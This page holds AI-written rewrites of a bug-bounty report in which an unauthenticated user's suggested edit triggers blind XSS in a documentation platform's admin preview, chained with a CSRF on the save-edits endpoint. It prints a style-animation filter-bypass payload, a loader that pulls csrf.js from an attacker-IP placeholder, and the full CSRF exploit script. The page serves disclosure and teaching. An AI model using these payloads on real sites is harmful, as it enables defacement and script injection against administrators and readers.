Skip to content
XSS Write-up Intermediate

Chaining bugs for the greater good

A documentation platform allowed unauthenticated users to submit suggested edits that were rendered in the admin's browser, leading to blind XSS. The attacker chained this with a CSRF flaw in the admin's edit-approval endpoint to automatically accept malicious edits, enabling defacement and script injection for all users.

mohamad mahmoudi Follow

Published on med-mahmoudi26.medium.com

mohamad mahmoudi

mohamad mahmoudi, on med-mahmoudi26.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target was a documentation platform used by a number of large companies to host their documentation. The researcher does not name the company and refers to it throughout as [Redacted]. The feature at the centre of the write-up is the public suggestion flow: a visitor reading a documentation page can propose edits to that page, and those edits are submitted to an administrator for review and, if accepted, published.

Setup

The researcher created an admin account on the platform and then created his own documentation page. He then browsed that page as an unauthenticated user, which is the position a normal reader of the documentation would be in. No specific tools or versions are described beyond a browser and a web server on his local machine to host the CSRF script.

Finding it

While browsing his own page unauthenticated, the researcher noticed a small button labelled "Suggest edits". Clicking it opened a panel in which he could make edits and submit them to the admin for preview.

He focused on the code sample part of the editor. His first attempt was the ordinary payload:

HTML
<script>alert(1)</script>

He previewed the changes from the admin side and the payload did not execute, because script tags were being filtered. He then tried the <style> element instead, with a payload of this shape:

HTML
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="javascript:eval('alert(1)')"></xss>

This fired. The <style> block defines a keyframe animation named x, the custom <xss> element is given that animation through animation-name, and the onanimationend handler runs when the animation finishes, evaluating the JavaScript inside eval. The script tags were filtered, so he tried the <style> element instead.

At this point the researcher had blind XSS on the admin side: the payload executed in the administrator's browser when the suggestion was previewed. The admin's cookies were protected with the httponly flag, so session hijacking through cookie theft was not possible.

Exploitation

Step 1: Confirm blind XSS in the preview

The suggestion submitted by an unauthenticated user is rendered in the admin's browser when the admin previews it. The <style>/onanimationend payload above confirmed execution there. The limitation is that the changes suggested by the attacker are not visible to normal users unless the admin accepts them, so the XSS alone does not reach the site's readers.

Step 2: Look at the accept request

Using the admin account, the researcher accepted the suggested changes and intercepted the request. He found no CSRF protection on it other than CORS, and noted that CORS could be defeated by the XSS already found.

Step 3: Deliver the CSRF script through the XSS

The final payload loads an external script from the attacker's machine:

HTML
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="javascript:eval('var a=document.createElement(\'script\');a.src=\'http://<attacker_ip>/csrf.js\';document.body.appendChild(a)')"></xss>

The onanimationend handler creates a script element, points its src at csrf.js hosted on the attacker's local machine, and appends it to the document body, so the CSRF code runs in the admin's browser in the context of the documentation platform.

Step 4: The CSRF request that accepts the edit

The hosted csrf.js contained the following exploit:

JavaScript
var xhr = new XMLHttpRequest(); xhr.open(“POST”, “https://<my docs>:443/api/v1.0/save-edits", true); xhr.setRequestHeader(“Accept”, “application/json, text/plain, */*”); xhr.setRequestHeader(“Content-Type”, “application/json;charset=utf-8”); xhr.setRequestHeader(“Accept-Language”, “fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3”); xhr.withCredentials = true; var body = “{\”title\”:\”Getting Started with test\”,\”type\”:\”basic\”,\”slug\”:\”getting-started\”,\”excerpt\”:\”Hacked!!!\”,\”body\”:\”\\n[block:html]\\n{\\n \\\”html\\\”: \\\”<style>@keyframes x{}</style><xss style=\\\\\”animation-name:x\\\\\” onanimationstart=\\\\\”alert(document.cookie)\\\\\”></xss>\\\”\\n}\\n[/block]\\n\”,\”_id\”:\”PAGE_ID_HERE\”}”; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));

The script opens a POST to the save-edits API endpoint on port 443, sets Accept, Content-Type and Accept-Language headers, and sets withCredentials = true so the admin's session cookies travel with the request. The body is a JSON document describing the page: a title, type basic, slug getting-started, an excerpt of Hacked!!!, and a body containing an HTML block whose content is a <style>/onanimationstart payload that calls alert(document.cookie). The _id field is the page identifier, shown in the write-up as PAGE_ID_HERE. The body string is converted character by character into a Uint8Array and sent as a Blob.

Once the admin clicks preview, the exploit loads in his browser, the API call is made with his credentials, and the changes are accepted. The accepted page then carries the injected payload.

Root cause

Two weaknesses combine. First, the suggestion editor's input filtering blocked <script> tags but allowed <style> and animation event handlers, so an unauthenticated user could get script execution inside the admin's preview. Second, the endpoint that accepts an edit, save-edits, had no CSRF protection other than CORS, and the XSS gave the attacker a way to issue the request from the platform's own origin, which defeats that defence.

Impact

With the chain, an unauthenticated attacker can get an administrator to accept arbitrary edits to a documentation page. From a blackhat point of view, as the researcher puts it, this allows defacing the website and injecting keyloggers into the browsers of the website's users, among other malicious uses.

Fix

The researcher reported the issue, was paid within a week, and states that the bug is fixed. The write-up does not describe the specific change that was made. Based on the two weaknesses, the fixes would be to sanitise the suggestion input so that style and animation-based vectors cannot execute, and to add CSRF protection to the save-edits endpoint rather than relying on CORS alone.

Variants to test

  1. Try other HTML elements and event handlers that a script-tag filter may miss, such as <style> with @keyframes and onanimationend or onanimationstart, <svg> with onload, or <img> with onerror. A positive result is the handler firing in the admin preview.
  2. Test whether the accept or save endpoint enforces CSRF tokens, origin checks, or SameSite cookies. A positive result is a state-changing request succeeding from a page on the target's own origin without a token.
  3. Check whether CORS is the only defence on state-changing endpoints and whether it can be bypassed from the target's own origin through an injected script. A positive result is a cross-origin read or write succeeding because the request originates from the trusted origin.
  4. Look for other suggestion or review flows where unauthenticated input is rendered in an admin's browser, such as comments, feedback forms or edit histories. A positive result is blind XSS firing when an administrator views the submission.
  5. Check whether accepted content is rendered to normal users without sanitisation, which would turn an accepted edit into stored XSS against all readers. A positive result is the payload executing for an unauthenticated visitor.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher found a way to make a documentation website do something its owners never intended. The site let ordinary visitors suggest changes to documentation pages, and an administrator would then review those suggestions. The researcher showed that a suggestion could carry hidden code. When the administrator previewed the suggestion, that code ran inside the administrator's own browser. The researcher then used that position to make the administrator's browser approve the change, so the malicious content became part of the page.

Two separate weaknesses had to be joined together for this to work, which is why the write-up is called chaining bugs. Neither weakness alone would have been enough to reach ordinary readers. The researcher reported the problem, was paid within a week, and the bug was fixed. The company is not named and is referred to as [Redacted] throughout.

The target and the feature

The target was a documentation platform. The researcher noticed that a lot of giant companies use this platform for their documentation. The researcher does not name the company.

The feature at the centre of the story is the public suggestion flow. On a documentation page there is a button labelled "Suggest edits". Any visitor, even one who is not logged in, can click it, change the text, and send the proposed version to an administrator. The administrator then reviews the suggestion and either accepts it, which publishes it, or rejects it. Think of it like a suggestion box in an office: anyone can drop a note in, but a manager has to read it and approve it before it goes on the noticeboard.

Setting up

To study the feature from both sides, the researcher did the following:

  1. He created an administrator account on the platform, so he could see what an administrator sees.
  2. He created his own documentation page, so he had something safe to experiment on.
  3. He opened that page in a browser without being logged in, which is exactly the position a normal reader is in.

The only tools mentioned are a browser and a small web server on his own machine to host a script. A proxy here is a program that sits between the browser and the website and lets you read and change the traffic going back and forth, like standing at the letterbox and reading each letter before it is delivered.

Finding the first bug

While browsing his own page as a logged-out visitor, the researcher noticed the small "Suggest edits" button. Clicking it opened a panel where he could edit the page and submit the result to the administrator for preview.

He concentrated on the part of the editor used for code samples. His first attempt was the classic test payload:

HTML
<script>alert(1)</script>

This is the simplest way to check whether a page will run JavaScript that someone typed into it. alert(1) makes a small pop-up box appear with the number 1 in it. If the box appears, the site is running your code. The researcher previewed the change from the administrator side and nothing happened, because the site was filtering out <script> tags. Filtering means the site inspects what you typed and removes or blocks the dangerous parts before storing or showing it.

So he tried a different HTML element, the <style> element, which is normally used to describe how a page should look:

HTML
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="javascript:eval('alert(1)')"></xss>

Line by line:

  • <style>@keyframes x{}</style> defines an animation named x. @keyframes is the CSS syntax for describing the steps of an animation. Here the animation is empty, because the point is not the movement but the fact that an animation with that name exists.
  • <xss ...> is a made-up element name. Browsers are forgiving and will render unknown elements rather than reject the page, which is useful when a filter is only looking for known dangerous tags.
  • style="animation-name:x" tells the browser to apply the animation called x to this element.
  • onanimationend="..." is an event handler. An event handler is a piece of code the browser runs automatically when something happens, in this case when the animation finishes.
  • javascript:eval('alert(1)') runs the text inside eval as JavaScript. eval takes a string and executes it as code.

This fired. The filter had been looking for script tags and had not considered style-based tricks.

At this point the researcher had what is called blind XSS on the administrator side. XSS, or cross-site scripting, means getting your own code to run inside someone else's browser session on a website. It is called blind when you cannot see the result yourself, because the code runs in a different person's browser, on a page you cannot view. You only learn it worked indirectly.

The administrator's cookies were protected with the httponly flag. A cookie is a small piece of data a website stores in your browser so it can recognise you on the next request, a bit like a cloakroom ticket: whoever holds the ticket can collect the coat. Session hijacking means stealing that ticket and using it to act as the victim. The httponly flag tells the browser that JavaScript is not allowed to read that particular cookie, so the researcher could not simply copy the administrator's session and log in as him.

Escalating the impact

There was a second limitation. Suggestions made by an attacker are not shown to normal readers unless an administrator accepts them. So the XSS alone reached only the administrator's preview, not the site's audience.

To understand the next step, the researcher used his administrator account to accept a suggested change and intercepted the request that the browser sent when he clicked accept. Intercepting means catching the request in the proxy before it reaches the server, so you can read exactly what the browser said.

He found that the request had no CSRF protection other than CORS. Two terms need unpacking here.

  • CSRF, or cross-site request forgery, is a trick where a page you visit causes your browser to send a request to another site where you are logged in, without you meaning to. Because your browser automatically attaches your cookies to requests for that site, the other site believes the request came from you. It is like someone writing a letter in your handwriting and posting it for you.
  • CORS, or cross-origin resource sharing, is a set of rules browsers follow about which websites are allowed to read responses from which other websites. It is a browser-side guard, not a lock on the server.

The researcher noted that CORS could be defeated by the XSS he already had. Origin means the combination of scheme, host and port that a page belongs to. If the code runs on the platform's own page, then as far as the browser is concerned the request comes from the platform itself, and the cross-origin rules do not get in the way.

Delivering the CSRF script through the XSS

The final payload loads an external script from the researcher's own machine:

HTML
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="javascript:eval('var a=document.createElement(\'script\');a.src=\'http://<attacker_ip>/csrf.js\';document.body.appendChild(a)')"></xss>

Line by line:

  • The <style> and <xss> parts are the same animation trick as before, so the handler still fires when the animation ends.
  • var a=document.createElement('script') creates a new script element in the page. A script element is what tells the browser to download and run a JavaScript file.
  • a.src='http://<attacker_ip>/csrf.js' points that script at a file called csrf.js hosted on the researcher's own machine. The address is shown in the write-up with a placeholder for the attacker's IP address.
  • document.body.appendChild(a) inserts the new element into the page, which makes the browser fetch and run the file.

So the payload does not contain the attack itself. It is a delivery mechanism: it makes the administrator's browser download and run the researcher's code, in the context of the documentation platform.

The CSRF request that accepts the edit

The file csrf.js hosted on the researcher's machine contained this exploit:

JavaScript
var xhr = new XMLHttpRequest(); xhr.open(“POST”, “https://<my docs>:443/api/v1.0/save-edits", true); xhr.setRequestHeader(“Accept”, “application/json, text/plain, */*”); xhr.setRequestHeader(“Content-Type”, “application/json;charset=utf-8”); xhr.setRequestHeader(“Accept-Language”, “fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3”); xhr.withCredentials = true; var body = “{\”title\”:\”Getting Started with test\”,\”type\”:\”basic\”,\”slug\”:\”getting-started\”,\”excerpt\”:\”Hacked!!!\”,\”body\”:\”\\n[block:html]\\n{\\n \\\”html\\\”: \\\”<style>@keyframes x{}</style><xss style=\\\\\”animation-name:x\\\\\” onanimationstart=\\\\\”alert(document.cookie)\\\\\”></xss>\\\”\\n}\\n[/block]\\n\”,\”_id\”:\”PAGE_ID_HERE\”}”; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));

Line by line:

  • var xhr = new XMLHttpRequest(); creates an object that can send requests to a server from inside a web page. An API, by the way, is simply a set of addresses on a server that a program can talk to, the way a restaurant menu is a set of dishes you can order. Here the API endpoint is save-edits.
  • xhr.open(“POST”, “https://<my docs>:443/api/v1.0/save-edits", true); prepares a POST request to the save-edits endpoint on port 443, which is the standard port for HTTPS. POST is the method used when you are sending data to the server to create or change something, as opposed to GET, which just asks for a page.
  • xhr.setRequestHeader(“Accept”, ...) tells the server what kind of response the script can handle, here JSON and plain text. JSON is a common text format for structured data, looking like {"name": "value"}.
  • xhr.setRequestHeader(“Content-Type”, ...) tells the server what format the data being sent is in, here JSON encoded as UTF-8.
  • xhr.setRequestHeader(“Accept-Language”, ...) states the preferred language, here French first and then English variants. These headers make the request look like the ones the site's own pages send.
  • xhr.withCredentials = true; is the crucial line. It tells the browser to include the user's cookies with this request. That is what turns an ordinary request into a CSRF: the server sees the administrator's session and treats the action as his.
  • var body = ... builds the data to send. It is a JSON document describing the page: a title of Getting Started with test, a type of basic, a slug of getting-started, an excerpt of Hacked!!!, and a body containing an HTML block. A slug is the readable part of a web address that identifies the page. The HTML block contains a <style> and <xss> payload that calls alert(document.cookie), which would display the page's cookies. The _id field is the page identifier, shown in the write-up as PAGE_ID_HERE.
  • var aBody = new Uint8Array(body.length); creates a byte array sized to the body text. A byte array is just a list of numbers, each representing one character.
  • for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); copies each character of the text into the array as its numeric character code.
  • xhr.send(new Blob([aBody])); sends the array as a Blob, which is a chunk of raw binary data. The reason for this conversion is not explained in the write-up.

Once the administrator clicks preview, the exploit loads in his browser, the API call is made with his credentials attached, and the changes are accepted. The accepted page then carries the injected payload.

Why it worked

Two weaknesses combined.

First, the suggestion editor's filtering blocked <script> tags but allowed <style> and animation event handlers. That let a logged-out visitor get code running inside the administrator's preview.

Second, the endpoint that accepts an edit, save-edits, had no CSRF protection other than CORS. The XSS gave the attacker a way to issue the request from the platform's own origin, which is exactly the situation CORS is not designed to stop.

The administrator's cookies were protected with the httponly flag, so the researcher could not hijack his session.

What an attacker could do with it

With the chain, a logged-out attacker can get an administrator to accept arbitrary edits to a documentation page. As the researcher puts it, from a blackhat point of view this allows defacing the website and injecting keyloggers into the browsers of the website's users, among other malicious uses. A keylogger is code that records what you type, such as passwords and card numbers.

The fix

The researcher reported the issue, was paid within a week, and states that the bug is fixed. The write-up does not describe the specific change that was made. Based on the two weaknesses, the fixes would be to sanitise the suggestion input so that style and animation-based vectors cannot execute, and to add CSRF protection to the save-edits endpoint rather than relying on CORS alone. Sanitising means cleaning input so that anything dangerous is removed or neutralised before it is stored or displayed.

Other places to look

  1. Try other HTML elements and event handlers that a script-tag filter may miss, such as <style> with @keyframes and onanimationend or onanimationstart, <svg> with onload, or <img> with onerror. A positive result is the handler firing in the administrator preview.
  2. Test whether the accept or save endpoint enforces CSRF tokens, origin checks, or SameSite cookies. A CSRF token is a secret value the page must include with a request, which an attacker on another site cannot know. SameSite is a cookie setting that limits when the browser sends the cookie on requests coming from other sites. A positive result is a state-changing request succeeding from a page on the target's own origin without a token.
  3. Check whether CORS is the only defence on state-changing endpoints and whether it can be bypassed from the target's own origin through an injected script. A positive result is a cross-origin read or write succeeding because the request originates from the trusted origin.
  4. Look for other suggestion or review flows where unauthenticated input is rendered in an administrator's browser, such as comments, feedback forms or edit histories. A positive result is blind XSS firing when an administrator views the submission.
  5. Check whether accepted content is rendered to normal users without sanitisation, which would turn an accepted edit into stored XSS against all readers. Stored XSS means the malicious code is saved on the server and served to every visitor of the page. A positive result is the payload executing for a logged-out visitor.

Glossary

  • XSS (cross-site scripting): getting your own code to run inside another person's browser session on a website.
  • Blind XSS: XSS where the code runs in someone else's browser on a page you cannot see, so you learn it worked indirectly.
  • Stored XSS: XSS where the malicious code is saved on the server and served to every visitor of the affected page.
  • CSRF (cross-site request forgery): making a logged-in user's browser send a request to a site without the user intending it, relying on the browser attaching cookies automatically.
  • CSRF token: a secret value a page must include with a request, which an attacker on another site cannot know, used to prove the request came from the real page.
  • Cookie: a small piece of data a site stores in your browser so it can recognise you on later requests.
  • Session hijacking: stealing someone's session cookie and using it to act as that person.
  • httponly: a cookie flag that stops JavaScript from reading that cookie.
  • SameSite: a cookie setting that limits when the browser sends the cookie on requests coming from other sites.
  • CORS (cross-origin resource sharing): browser rules about which websites may read responses from which other websites.
  • Origin: the combination of scheme, host and port that a page belongs to.
  • API: a set of addresses on a server that programs can talk to, like a menu of things you can order.
  • Endpoint: one specific address in an API, such as save-edits.
  • POST: the request method used to send data to a server to create or change something.
  • GET: the request method used to ask a server for a page or resource.
  • Header: extra information sent alongside a request or response, such as the format of the data or the preferred language.
  • JSON: a common text format for structured data, looking like {"name": "value"}.
  • UTF-8: a way of encoding characters as bytes so text can be sent over the network.
  • Proxy (intercepting proxy): a program that sits between the browser and the website so you can read and change the traffic.
  • Payload: the piece of code or data an attacker sends to trigger a vulnerability.
  • Filter: code that inspects input and removes or blocks dangerous parts before storing or showing it.
  • Sanitise: clean input so anything dangerous is removed or neutralised.
  • Event handler: code the browser runs automatically when something happens, such as an animation ending.
  • @keyframes: CSS syntax for describing the steps of an animation.
  • eval: a JavaScript function that takes a string and runs it as code.
  • XMLHttpRequest: a JavaScript object for sending requests to a server from inside a web page.
  • withCredentials: a setting that tells the browser to include cookies with a request.
  • Uint8Array: a list of numbers, each representing one byte, used to hold raw data.
  • Blob: a chunk of raw binary data that can be sent to a server.
  • Slug: the readable part of a web address that identifies a page.
  • Keylogger: code that records what a user types, such as passwords and card numbers.
  • Defacing: changing a website's public content to something the owners did not intend.
  • Unauthenticated: not logged in, so the site does not know who you are.
  • Administrator: a user with permission to review and approve changes on the site.

More by mohamad mahmoudi

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.